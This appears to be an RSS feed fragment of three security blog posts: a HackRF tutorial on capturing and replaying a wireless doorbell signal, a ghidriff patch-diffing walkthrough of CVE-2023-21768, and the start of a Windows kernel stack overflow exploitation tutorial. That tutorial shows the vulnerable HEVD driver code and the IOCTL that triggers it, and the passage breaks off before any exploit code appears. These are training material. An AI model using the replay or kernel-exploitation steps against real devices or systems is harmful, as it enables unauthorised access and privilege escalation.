            <category><![CDATA[sdr]]></category>
            <category><![CDATA[radio]]></category>
            <category><![CDATA[hackrf]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Sushant M Mane | The Cyber Veda IN]]></dc:creator>
            <pubDate>Sun, 01 Feb 2026 05:09:24 GMT</pubDate>
            <atom:updated>2026-02-01T05:09:24.584Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xaPPZ6VNjFR48LpmHZjGDg.png" /></figure><h3>Important Ethical Considerations</h3><p>Only test devices you own or have explicit permission to test. <strong>Unauthorized interception or transmission of signals is illegal in most jurisdictions.</strong> Use these techniques responsibly and within legal boundaries.</p><h3>Understanding HackRF One Board</h3><p>If you’re exploring <a href="https://en.wikipedia.org/wiki/Software-defined_radio">software-defined radio</a> for security research, the <a href="https://greatscottgadgets.com/hackrf/one/">HackRF One</a> is a solid starting point. It’s a wideband SDR that covers 1 MHz to 6 GHz, so you can work with many common signals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rEQGfs8T6N9lVw_K" /><figcaption><a href="https://greatscottgadgets.com/hackrf/one/">https://greatscottgadgets.com/hackrf/one/</a></figcaption></figure><p>One thing to keep in mind: the HackRF One is half-duplex. You can transmit or receive, but not both at the same time. This is fine for most experiments, but plan your workflow accordingly.</p><p>Power output varies by band roughly 30 mW to 1 mW depending on where you’re operating. It’s enough for testing and learning, though you may want an amplifier for longer-range work.</p><h3>Updating Your HackRF One Firmware</h3><p>Before diving into projects, make sure your HackRF One is on the latest firmware. It’s straightforward, but follow the steps carefully.</p><p>First, check your current firmware version. Open a kali terminal and run:</p><pre>hackrf_info</pre><p>This shows the installed version. If you need to update, grab the latest firmware from the official GitHub repository. Download the zip, extract it, and open a terminal in the extracted folder.</p><p>Navigate to the firmware binaries directory:</p><pre>cd firmware-bin/</pre><p>Then flash the firmware to your device:</p><pre>hackrf_spiflash -w hackrf_one_usb.bin</pre><p>After that, update the CPLD (Complex Programmable Logic Device) by going back up one directory and running:</p><pre>cd ..<br>hackrf_cpldjtag -x firmware/cpld/sgpio_if/default.xsvf</pre><p>Watch the device LEDs. If all three blink, the update succeeded. If not, double-check your connections and try again.</p><p>Verify by running <strong>hackrf_info</strong> again. You should see the new version number.</p><h3>Essential Tools for Your SDR Setup</h3><p>You’ll need a couple of software tools to work with your HackRF One. Here are the ones I use:</p><p><strong>Gqrx</strong> is great for receiving and analyzing signals. It’s a solid spectrum analyzer and receiver, and it’s free. You can download it from <a href="https://www.gqrx.dk/">gqrx.dk</a>. It’s perfect for scanning frequencies, recording signals, and getting familiar with what’s in the air around you.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pjZxk_hiHpcDscvr.png" /><figcaption><a href="https://www.gqrx.dk/">https://www.gqrx.dk/</a></figcaption></figure><p>For more advanced work, especially when you need to transmit, check out <strong>Universal Radio Hacker (URH)</strong>. It can both receive and transmit, which makes it useful for testing and research. The GitHub repository is at <a href="https://github.com/jopohl/urh">github.com/jopohl/urh</a>, and if you need installation help, there’s a good guide at <a href="https://www.offensive-wireless.com/how-to-install-universal-radio-hacker/">offensive-wireless.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*OfItRbQtfx8wWn9H.png" /><figcaption><a href="https://github.com/jopohl/urh">https://github.com/jopohl/urh</a></figcaption></figure><p>I usually start with Gqrx to explore signals, then switch to URH when I need to decode or transmit. Both tools work well with the HackRF One.</p><h3>Capture &amp; Replay Attacks: Getting Started</h3><p>A capture and replay attack is a common entry point for SDR security testing. You record a legitimate signal and replay it later, which can reveal vulnerabilities in devices that don’t use proper authentication.</p><h4>Finding the Right Frequency</h4><p>Before capturing anything, you need to know what frequency your target device uses. There are a couple of ways to do this:</p><h4>Method 1: Using the FCC ID</h4><p>If you’re working with a device made in the US (or many other countries), look for the <strong>FCC ID , </strong>usually printed on a label somewhere on the device. It’s a unique identifier that tells you a lot about the device’s radio characteristics.</p><p>Once you have the FCC ID, head over to <a href="https://fccid.io/">fccid.io</a> and search for it. The site pulls up the device’s FCC documentation, including its operating frequency. This is often the fastest way to get started, especially if you’re testing something like a garage door opener or a wireless key fob.</p><h4>Method 2: Using Gqrx to Explore</h4><p>Sometimes you don’t have an FCC ID, or you want to verify what you found. That’s where Gqrx comes in handy. We’ll walk through using it step by step in the next section to scan and identify signals manually.</p><h3>Finding Wireless Doorbell’s Frequency: A Practical Example</h3><p>Let’s walk through finding the frequency of a wireless doorbell. This is a good first project because doorbells are common and usually operate on simple protocols.</p><h4>Step 1: Do Some Quick Research</h4><p>Start by searching online for your doorbell’s model number and its operating frequency. Many wireless doorbells run around 315 MHz or 433 MHz, so you’ll likely see something like “315MHz” in the specs. This gives you a starting point.</p><h4>Step 2: Fire Up Gqrx</h4><p>Connect your HackRF One to your computer and launch Gqrx. In the configuration, make sure HackRF One is selected as your input device. If it’s your first time, Gqrx should detect it automatically, but double-check the settings just to be safe.</p><h4>Step 3: Tune to Your Target Frequency</h4><p>Set the frequency to 315 MHz (or whatever you found in your research). Hit the start button and you’ll see the spectrum analyzer come to life. The waterfall display at the bottom shows signal activity over time , this is where the magic happens.</p><h4>Step 4: Trigger the Signal</h4><p>Now for the fun part. Press the doorbell button and watch the display. You should see a spike or burst of activity in the waterfall. If you see something, you’re on the right frequency. If not, try adjusting slightly maybe 314.9 MHz or 315.1 MHz. Sometimes the actual frequency is slightly off from what’s advertised.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Wx0RB9UT3FnMhHaz" /></figure><h4>Step 5: Document Everything</h4><p>Once you’ve found the signal, write down the exact frequency. You’ll need this later when you’re ready to capture and replay the signal. Even a small difference can make or break your replay attack.</p><p>This process works for most simple wireless devices like key fobs, garage door openers, remote controls, etc. The key is patience and watching for that spike when you trigger the device.</p><h3>Recording and Replaying Your First Signal</h3><p>Now that you’ve found the frequency, let’s capture the signal and replay it. This is where Universal Radio Hacker really shines.</p><h4>Setting Up Your Project</h4><p>Open a terminal and launch URH with:</p><pre>urh</pre><p>When it opens, click “New Project” at the bottom. Create a new folder for this project , I usually name mine something like “doorbell_test” or “315mhz_experiments”. Choose that folder as your project location. This keeps your captures organized.</p><h4>Initial Configuration</h4><p>Set your default frequency to 315 MHz (or whatever frequency you found earlier). Keep the default bandwidth at 4.0M for now, this gives you enough room to capture the signal without grabbing too much noise. Make sure HackRF is selected as your device.</p><h4>Verifying the Signal in Spectrum Analyzer</h4><p>Before recording, let’s double-check the signal using URH’s built-in spectrum analyzer. Go to File → Spectrum Analyzer. Click the green refresh button to get your device ID, then set your sample rate and sample bandwidth both to 4.0M.</p><p>For the gain settings, I typically start with:</p><ul><li>Gain: 14</li><li>IF Gain: 16</li><li>Baseband Gain: 18</li></ul><p>These values can vary depending on your environment and how close you are to the device, so don’t be afraid to tweak them if the signal looks weak or too strong.</p><p>Press Start, then press your doorbell button. You should see a clear peak in the spectrum. If it’s not obvious, try adjusting the gain values slightly. Once you’re happy with what you see, close the spectrum analyzer.</p><h4>Recording the Signal</h4><p>Now for the actual capture. Go to File → Record Signal. Click refresh again to set your device ID, and use similar gain values, I usually go with 14, 18, and 20 here, but again, your mileage may vary.</p><p>Press Start to put HackRF into record mode. When you see it’s ready, press your doorbell button twice (I like to do it twice to make sure we get a clean capture). Then save the signal and close the recording window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m0W8PxjnnhMQPiFv" /></figure><h4>The Moment of Truth: Replay</h4><p>Here’s where it gets interesting. You should now see your captured signal in the main URH window. Click the start button (the play icon) to transmit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*jSYGGYOoNg468NZ8" /></figure><p>Before you start transmitting, there’s one important thing to change: set your gain to 0. Since you’re replaying an already-captured signal, you don’t need the amplification you used for receiving. Keep everything else the same, set repeat mode to “Infinite” (this will keep replaying the signal), and hit Start.</p><p>If everything worked, your doorbell should ring. It’s a simple attack, but it demonstrates how vulnerable many wireless devices are to replay attacks. Modern devices use rolling codes or encryption to prevent this, but you’d be surprised how many older devices are still vulnerable.</p><h3>Wrapping Up: What We’ve Learned</h3><p>We covered the basics of using SDR for security research. You’ve set up your HackRF One, updated its firmware, and performed a capture and replay attack on a wireless doorbell.</p><p>This demonstrates a real vulnerability: many devices still use fixed codes that can be captured and replayed. While this example is simple, the same principles apply to more complex systems like garage door openers, car key fobs, and some IoT devices.</p><h4>Where to Go From Here</h4><p>This is just the beginning. You can explore:</p><ul><li>Decoding different signal protocols</li><li>Analyzing encrypted transmissions</li><li>Testing devices with rolling codes</li><li>Building your own signal analysis tools</li></ul><p>The HackRF One and tools like Gqrx and URH open up a lot of possibilities for learning about wireless security. Start with simple devices, understand how they work, and gradually move to more complex systems.</p><p>Remember, the goal is to understand these systems so we can build more secure devices in the future. Happy hacking <strong>ethically</strong>, of course.</p><p><strong>Follow </strong>for more such interesting articles.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n1zdOXnpz7QGlW9GvcObIQ.png" /></figure><p><strong>LinkedIn </strong>— <a href="https://www.linkedin.com/in/sushantmmane/">https://www.linkedin.com/in/sushantmmane/</a></p><p><strong>The Cyber Veda India </strong>— <a href="https://www.linkedin.com/company/the-cyber-veda-india">https://www.linkedin.com/company/the-cyber-veda-india</a></p><p><strong>The Cyber Veda India Instagram </strong>— <a href="https://www.instagram.com/thecyberveda_india?igsh=MWxsdGEwaDBoMzM3OQ%3D%3D">https://www.instagram.com/thecyberveda_india?igsh=MWxsdGEwaDBoMzM3OQ==</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=202c2e400c66" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Patch Diffing ( Using Ghidriff ): Why Security Researchers Can’t Get Enough of It]]></title>
            <link>https://medium.com/@sushant.m.mane/patch-diffing-using-ghidriff-why-security-researchers-cant-get-enough-of-it-309c569279d3?source=rss-fa7a71c497c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/309c569279d3</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[patch-diffing]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[research]]></category>
            <dc:creator><![CDATA[Sushant M Mane | The Cyber Veda IN]]></dc:creator>
            <pubDate>Fri, 30 Jan 2026 02:42:36 GMT</pubDate>
            <atom:updated>2026-01-30T02:58:09.209Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gxq0ut4BrFgCK2oHbqHtDg.png" /></figure><p>If you’ve spent time in vulnerability research, you’ve probably spent hours staring at diffs. There’s something satisfying about comparing two versions of code and seeing exactly what changed, especially when that change fixes a security bug.</p><p>This blog is intended towards beginners who want to explore patch diffing in an easy and beginner friendly way.</p><p><strong>Pre-requisites </strong>— Install <a href="https://github.com/NationalSecurityAgency/ghidra"><strong>Ghidra</strong> </a>on Windows with the latest JDK.</p><p><strong>Scope — </strong>This post covers patch diffing and includes a step-by-step diff example.</p><blockquote>Recreation is the first step towards learning.</blockquote><h3>What Exactly is Patch Diffing?</h3><p>Patch diffing is comparing a patched version of software with an unpatched one to see what changed. It sounds simple, but it’s powerful.</p><p>You can do this at different levels. If you have source code, you might use git diff or similar tools. If you’re working with binaries, you’ll use tools like BinDiff or Ghidra to compare compiled code. Sometimes you’re looking at behavior, what happens when you run the old version versus the new one.</p><h3>Why Researchers Love It</h3><h4>Finding Hidden Vulnerabilities</h4><p>When a vendor releases a patch, they’re telling you something was wrong. By diffing the patch, you can see what they fixed and often spot similar issues nearby.</p><h4>The Zero-Day Hunt</h4><p>This is where patch diffing gets interesting. When a patch drops, researchers race to understand the vulnerability before it’s publicly disclosed. By reverse-engineering the patch, you can figure out the bug, how it might be exploited, and whether similar code has the same issue. It’s detective work, and the patch is your first clue.</p><h4>Learning from Mistakes</h4><p>Every patch is a lesson. By studying what went wrong and how it was fixed, you build intuition for spotting vulnerabilities. You start recognizing patterns like buffer overflows, use-after-frees or logic errors. Over time, you get better at finding these issues before they become patches.</p><h4>Verifying the Fix</h4><p>Not all patches are perfect. Sometimes a fix addresses the symptom but not the root cause. Sometimes it introduces new problems. By diffing, you can verify the fix is correct and complete.</p><h3>Getting Started</h3><p>We will use <a href="https://github.com/clearbluejar/ghidriff"><strong>Ghidriff</strong></a> for patch diffing in Windows environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mhpgCh9yRawemAol" /></figure><p>According to the developers — “ghidriff provides a command-line binary diffing capability with a fresh take on diffing workflow and results.”</p><p>Here is the link — <a href="https://github.com/clearbluejar/ghidriff">https://github.com/clearbluejar/ghidriff</a></p><p>The developers have provided Quick Installation Steps. In short —</p><ol><li><a href="https://github.com/NationalSecurityAgency/ghidra/releases">Download</a> and <a href="https://htmlpreview.github.io/?https://github.com/NationalSecurityAgency/ghidra/blob/stable/GhidraDocs/InstallationGuide.html#Install">install Ghidra</a>.</li><li>Set Ghidra Environment Variable GHIDRA_INSTALL_DIR to Ghidra install location.</li><li>Pip install ghidriff</li></ol><pre>[System.Environment]::SetEnvironmentVariable(&#39;GHIDRA_INSTALL_DIR&#39;,&#39;D:\Tools\ghidra_11.2.1_PUBLIC&#39;)</pre><pre>pip install ghidriff</pre><p>After successful installation you can check it —</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zdexmo3_s0yevCUf" /></figure><h3>Use Cases</h3><p>Diffing a full Windows Kernel</p><p>Download two versions of the kernel (older and latest binary):</p><pre>wget https://msdl.microsoft.com/download/symbols/ntoskrnl.exe/F7E31BA91047000/ntoskrnl.exe -O ntoskrnl.exe.10.0.22621.1344<br>wget https://msdl.microsoft.com/download/symbols/ntoskrnl.exe/17B6B7221047000/ntoskrnl.exe -O ntoskrnl.exe.10.0.22621.1413</pre><p>We can see the 2 kernel versions got downloaded -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/0*hhIEjbjIaN2iuUHF" /></figure><p>Run ghidriff -</p><pre>ghidriff ntoskrnl.exe.10.0.22621.1344 ntoskrnl.exe.10.0.22621.1413</pre><p>As it was taking time on my machine I went on to the second case study from the GitHub repo, which was about AFD.sys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/0*DQb7Dv_M01q7W-DE" /></figure><h3>Diffing CVE-2023–21768</h3><p>Details of the <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-21768">CVE-2023–21768</a> (detailed in this blog <a href="https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/">post</a>). What if you wanted to repeat this patch diff with <a href="https://github.com/clearbluejar/ghidriff">ghidriff</a> ?</p><ol><li>Download two versions of AFD.sys (vulnerable and patched):</li></ol><pre>wget https://msdl.microsoft.com/download/symbols/afd.sys/0C5C6994A8000/afd.sys -O afd.sys.x64.10.0.22621.1028<br>wget https://msdl.microsoft.com/download/symbols/afd.sys/50989142A9000/afd.sys -O afd.sys.x64.10.0.22621.1415</pre><p>2. Run Ghidriff —</p><pre>PS D:\Patch_Diffing\afd.sys&gt; ghidriff afd.sys.x64.10.0.22621.1028 afd.sys.x64.10.0.22621.1415<br>INFO | ghidriff | Init Ghidra Diff Engine...<br>INFO | ghidriff | Engine Console Log: INFO<br>INFO | ghidriff | Engine File Log:  ghidriffs\ghidriff.log INFO<br>INFO | ghidriff | Starting Ghidra...<br>INFO  Using log config file: jar:file:/D:/Tools/ghidra_11.2.1_PUBLIC/Ghidra/Framework/Generic/lib/Generic.jar!/generic.log4j.xml (LoggingInitialization)<br>INFO  Using log file: D:\Patch_Diffing\afd.sys\ghidriffs\ghidriff.log (LoggingInitialization)<br> ...........<br>INFO | ghidriff | Completed 80 at 100%<br>INFO | ghidriff | Finished diffing old program: afd.sys.x64.10.0.22621.1028<br>INFO | ghidriff | Finished diffing program: afd.sys.x64.10.0.22621.1415<br>INFO | ghidriff | Writing md diff...<br>INFO | ghidriff | Generating markdown from {&#39;added_funcs_len&#39;: 28, &#39;deleted_funcs_len&#39;: 0, &#39;modified_funcs_len&#39;: 12, &#39;added_symbols_len&#39;: 17, &#39;deleted_symbols_len&#39;: 2, &#39;diff_time&#39;: 21.263234615325928, &#39;deleted_strings_len&#39;: 0, &#39;added_strings_len&#39;: 0, &#39;match_types&#39;: Counter({&#39;SymbolsHash&#39;: 1442, &#39;ExternalsName&#39;: 294, &#39;ExactInstructionsFunctionHasher&#39;: 80, &#39;ExactBytesFunctionHasher&#39;: 10, &#39;BSIM&#39;: 8, &#39;BulkInstructionHash&#39;: 1}), &#39;items_to_process&#39;: 59, &#39;diff_types&#39;: Counter({&#39;refcount&#39;: 10, &#39;address&#39;: 9, &#39;calling&#39;: 5, &#39;length&#39;: 4, &#39;called&#39;: 4, &#39;code&#39;: 3, &#39;sig&#39;: 1}), &#39;unmatched_funcs_len&#39;: 28, &#39;total_funcs_len&#39;: 3116, &#39;matched_funcs_len&#39;: 3088, &#39;matched_funcs_with_code_changes_len&#39;: 3, &#39;matched_funcs_with_non_code_changes_len&#39;: 9, &#39;matched_funcs_no_changes_len&#39;: 3076, &#39;match_func_similarity_percent&#39;: &#39;99.6114%&#39;, &#39;func_match_overall_percent&#39;: &#39;99.1014%&#39;, &#39;first_matches&#39;: Counter({&#39;SymbolsHash&#39;: 1442, &#39;ExactInstructionsFunctionHasher&#39;: 80, &#39;ExactBytesFunctionHasher&#39;: 10, &#39;BSIM&#39;: 8, &#39;BulkInstructionHash&#39;: 1})}<br>INFO | ghidriff | Known Command line: ghidriff --project-location ghidra_projects --project-name ghidriff --symbols-path symbols --threaded --log-level INFO --file-log-level INFO --log-path ghidriff.log --min-func-len 10 --gdt [] --bsim --max-ram-percent 60.0 --max-section-funcs 200 afd.sys.x64.10.0.22621.1028 afd.sys.x64.10.0.22621.1415<br>INFO | ghidriff | Extra Command line: --engine VersionTrackingDiff --output-path ghidriffs<br>INFO | ghidriff | Writing pdiff json...<br>INFO | ghidriff | Writing matches json...<br>INFO | ghidriff | Wrote ghidriffs\afd.sys.x64.10.0.22621.1028-afd.sys.x64.10.0.22621.1415.ghidriff.md (size: 130K)<br>INFO | ghidriff | Wrote ghidriffs\json\afd.sys.x64.10.0.22621.1028-afd.sys.x64.10.0.22621.1415.ghidriff.json (size: 720K)<br>INFO | ghidriff | Wrote ghidriffs\json\afd.sys.x64.10.0.22621.1028-afd.sys.x64.10.0.22621.1415.ghidriff.matches.json (size: 424K)</pre><p>It will create a very beautiful markdown file, which can be analysed to see the diffing results.</p><p>In the modified tab, we can notice that the “<strong>AfdNotifyRemoveIoCompletion</strong>” is being modified, which can be further explored to notice the changes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/0*VyEJilSBt7w0bbVE" /></figure><p>The same can be observed graphically as well,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*PLkLlpAIFossWy10" /></figure><p>Looking at the exact code part, you can notice a “<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-probeforwrite"><strong>ProbeToWrite</strong></a>” function is called/added here. The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-probeforwrite">ProbeForWrite</a> routine checks that a user-mode buffer actually resides in the user-mode portion of the address space, is writable, and is correctly aligned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G60drHskbVSXKGwH" /></figure><p>In the above picture we can see the same observations from <a href="https://www.ibm.com/think/x-force/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock"><strong>Chompie’s blog.</strong></a> For further details you can read her blog, it is really amazing and well written.</p><p><strong>Follow </strong>for more such interesting articles.<br><strong>LinkedIn </strong>— <a href="https://www.linkedin.com/in/sushantmmane/">https://www.linkedin.com/in/sushantmmane/</a></p><p><strong>The Cyber Veda India </strong>— <a href="https://www.linkedin.com/company/the-cyber-veda-india">https://www.linkedin.com/company/the-cyber-veda-india</a></p><p><strong>The Cyber Veda India Instagram </strong>— <a href="https://www.instagram.com/thecyberveda_india?igsh=MWxsdGEwaDBoMzM3OQ==">https://www.instagram.com/thecyberveda_india?igsh=MWxsdGEwaDBoMzM3OQ==</a></p><h3>Further Resources for Patch Diffing &amp; Research Purpose</h3><ol><li><a href="https://winbindex.m417z.com/?file=rasphone.exe">https://winbindex.m417z.com/</a></li></ol><p>2. <a href="http://undocumented.ntinternals.net/">http://undocumented.ntinternals.net/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=309c569279d3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HEVD: Windows Kernel Exploitation — Stack Overflow]]></title>
            <link>https://medium.com/@sushant.m.mane/hevd-windows-kernel-exploitation-stack-overflow-12be551350f1?source=rss-fa7a71c497c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/12be551350f1</guid>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[exploit]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[driver]]></category>
            <category><![CDATA[kernel]]></category>
            <dc:creator><![CDATA[Sushant M Mane | The Cyber Veda IN]]></dc:creator>
            <pubDate>Wed, 28 Jan 2026 01:59:11 GMT</pubDate>
            <atom:updated>2026-01-28T01:59:11.889Z</atom:updated>
            <content:encoded><![CDATA[<h3>HEVD: Windows Kernel Exploitation — Stack Overflow</h3><p>After setting up our kernel debugger and debugee using VirtualKD-Redux or kdnet ( you can find many resources online for it ), it’s now time to start exploiting different vulnerabilities in our vulnerable driver. This blog is highly motivated by <a href="https://www.youtube.com/@areyou1or0">areyou1or0</a>, who created video series and blog for the Windows Kernel Exploitation.</p><p>Using OSRLOADER, we can register and start the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/0*vD12qPnhGhECNsRP" /></figure><p>Note: On every restart of the machine, we need to start the vulnerable service using OSRLOADER. Or you can start the service as Auto.</p><p>For every vulnerability, we will be following a similar structure:</p><ol><li>Source Code Review</li><li>Reverse Engineering and Analyzing the driver and finding the IOCTL.</li><li>Crafting the initial exploit to trigger the bug.</li><li>Token Stealing &amp; Assembly Code Manual Analysis</li><li>Final Exploit and Spawning the shell.</li></ol><h3><strong>1. Source Code Review</strong></h3><p>Let’s look at the source code which is inside the file BufferOverflowStack.c,</p><pre>#include &quot;BufferOverflowStack.h&quot;<br><br>#ifdef ALLOC_PRAGMA<br>#pragma alloc_text(PAGE, TriggerBufferOverflowStack)<br>#pragma alloc_text(PAGE, BufferOverflowStackIoctlHandler)<br>#endif // ALLOC_PRAGMA<br><br><br>/// &lt;summary&gt;<br>/// Trigger the buffer overflow in Stack Vulnerability<br>/// &lt;/summary&gt;<br>/// &lt;param name=&quot;UserBuffer&quot;&gt;The pointer to user mode buffer&lt;/param&gt;<br>/// &lt;param name=&quot;Size&quot;&gt;Size of the user mode buffer&lt;/param&gt;<br>/// &lt;returns&gt;NTSTATUS&lt;/returns&gt;<br>__declspec(safebuffers)<br>NTSTATUS<br>TriggerBufferOverflowStack(<br>    _In_ PVOID UserBuffer,<br>    _In_ SIZE_T Size<br>)<br>{<br>    NTSTATUS Status = STATUS_SUCCESS;<br>    ULONG KernelBuffer[BUFFER_SIZE] = { 0 };<br><br>    PAGED_CODE();<br><br>    __try<br>    {<br>        //<br>        // Verify if the buffer resides in user mode<br>        //<br><br>        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));<br><br>        DbgPrint(&quot;[+] UserBuffer: 0x%p\n&quot;, UserBuffer);<br>        DbgPrint(&quot;[+] UserBuffer Size: 0x%zX\n&quot;, Size);<br>        DbgPrint(&quot;[+] KernelBuffer: 0x%p\n&quot;, &amp;KernelBuffer);<br>        DbgPrint(&quot;[+] KernelBuffer Size: 0x%zX\n&quot;, sizeof(KernelBuffer));<br><br>#ifdef SECURE<br>        //<br>        // Secure Note: This is secure because the developer is passing a size<br>        // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,<br>        // there will be no overflow<br>        //<br><br>        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));<br>#else<br>        DbgPrint(&quot;[+] Triggering Buffer Overflow in Stack\n&quot;);<br><br>        //<br>        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability<br>        // because the developer is passing the user supplied size directly to<br>        // RtlCopyMemory()/memcpy() without validating if the size is greater or<br>        // equal to the size of KernelBuffer<br>        //<br><br>        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);<br>#endif<br>    }<br>    __except (EXCEPTION_EXECUTE_HANDLER)<br>    {<br>        Status = GetExceptionCode();<br>        DbgPrint(&quot;[-] Exception Code: 0x%X\n&quot;, Status);<br>    }<br><br>    return Status;<br>}<br><br><br>/// &lt;summary&gt;<br>/// Buffer Overflow Stack Ioctl Handler<br>/// &lt;/summary&gt;<br>/// &lt;param name=&quot;Irp&quot;&gt;The pointer to IRP&lt;/param&gt;<br>/// &lt;param name=&quot;IrpSp&quot;&gt;The pointer to IO_STACK_LOCATION structure&lt;/param&gt;<br>/// &lt;returns&gt;NTSTATUS&lt;/returns&gt;<br>NTSTATUS<br>BufferOverflowStackIoctlHandler(<br>    _In_ PIRP Irp,<br>    _In_ PIO_STACK_LOCATION IrpSp<br>)<br>{<br>    SIZE_T Size = 0;<br>    PVOID UserBuffer = NULL;<br>    NTSTATUS Status = STATUS_UNSUCCESSFUL;<br><br>    UNREFERENCED_PARAMETER(Irp);<br>    PAGED_CODE();<br><br>    UserBuffer = IrpSp-&gt;Parameters.DeviceIoControl.Type3InputBuffer;<br>    Size = IrpSp-&gt;Parameters.DeviceIoControl.InputBufferLength;<br><br>    if (UserBuffer)<br>    {<br>        Status = TriggerBufferOverflowStack(UserBuffer, Size);<br>    }<br><br>    return Status;<br>}</pre><p>In the above code we can see, 2 implementations of RtlCopyMemeory():</p><ul><li><strong>Secure</strong> — Where the size of the size validation has been done equal to the size of the KernelBuffer.</li></ul><pre>RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));</pre><ul><li><strong>Vulnerable</strong> — In the vulnerable implementation the size validation is not done, it is a vanilla stack based buffer overflow because the developer is passing the user supplied size directly to the <strong>RtlCopyMemory </strong>function.</li></ul><pre>RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);</pre><p>If the correct IOCT code is used, the BufferOverflowStackIoctlHandler function will be called, which takes the UserBuffer &amp; the Size. Later on these 2 parameters are directly passed to the TriggerBufferOverflowStack function, which leads to the vulnerable RtlCopyMemory() and hence leading to vanilla stack buffer overflow.</p><p>To interact with the driver we will use 2 Windows APIs :</p><ul><li>CreateFileA() : Creates or opens a file or I/O device. We’ll use this to create a handle to an I/O device ( our driver ).</li></ul><pre>HANDLE CreateFileA(<br>  [in]           LPCSTR                lpFileName,<br>  [in]           DWORD                 dwDesiredAccess,<br>  [in]           DWORD                 dwShareMode,<br>  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,<br>  [in]           DWORD                 dwCreationDisposition,<br>  [in]           DWORD                 dwFlagsAndAttributes,<br>  [in, optional] HANDLE                hTemplateFile<br>);</pre><ul><li>DeviceIoControl(): Sends a control code directly to a specified device driver, causing the corresponding device to perform the corresponding operation. The handle returned by CreateFileA() will be passed to this function as the first parameter and we’ll access the kernel mode access.</li></ul><pre>BOOL DeviceIoControl(<br>  [in]                HANDLE       hDevice,<br>  [in]                DWORD        dwIoControlCode,<br>  [in, optional]      LPVOID       lpInBuffer,<br>  [in]                DWORD        nInBufferSize,<br>  [out, optional]     LPVOID       lpOutBuffer,<br>  [in]                DWORD        nOutBufferSize,<br>  [out, optional]     LPDWORD      lpBytesReturned,<br>  [in, out, optional] LPOVERLAPPED lpOverlapped<br>);</pre><h3>2. Reverse engineering, analyzing the driver and finding the IOCTL.</h3><p>After loading the vulnerable driver, we will have a look at the IrpDeviceIoCtlHandler() function, which is responsible for handling IRP requests with IOCTLS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cE6C6dkvlxfIlx2M" /></figure><p>In the above graph figure of the IrpDeviceIoCtlHandler() function we can observe multiple branches, those are the different switch cases based on the IOCTL. Let us find the BufferOverflowStackIoctlHandler().</p><p>On IDA Free we don’t have the feature of looking at the Pseudocode which makes the analysis comparatively easier. Either ways we can find the BufferOverflowStackIoctlHandler() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/0*9DjpqAhhLKOua0sI" /></figure><p>In the above figure we can see for IOCTL — 0x222003 will trigger our BufferOverflowStackIoctlHandler().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/0*CsRtYgFx7JGNmW3h" /></figure><p>So, to trigger our vulnerable code we are required to send a value of 0x222003 as our IOCTL to trigger the vulnerable stack overflow code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/0*AUBqCMu0vV-0JHo0" /></figure><p>We can see that the size of the KernelBuffer is 2048 bytes ( 512 * 4 (size of unsigned int)). So, anything above 2048 bytes will cause a buffer overflow, leading to Blue Screen of Death (BSOD).</p><h3>3. Crafting the initial exploit to trigger the bug</h3><p>So, to trigger the vulnerable code we need to get the handle of our driver, and pass payload to the vulnerable function using proper IOCTL. We’ll use python to develop our exploit.</p><p>The structure of our exploit will be:</p><ul><li>Imports for 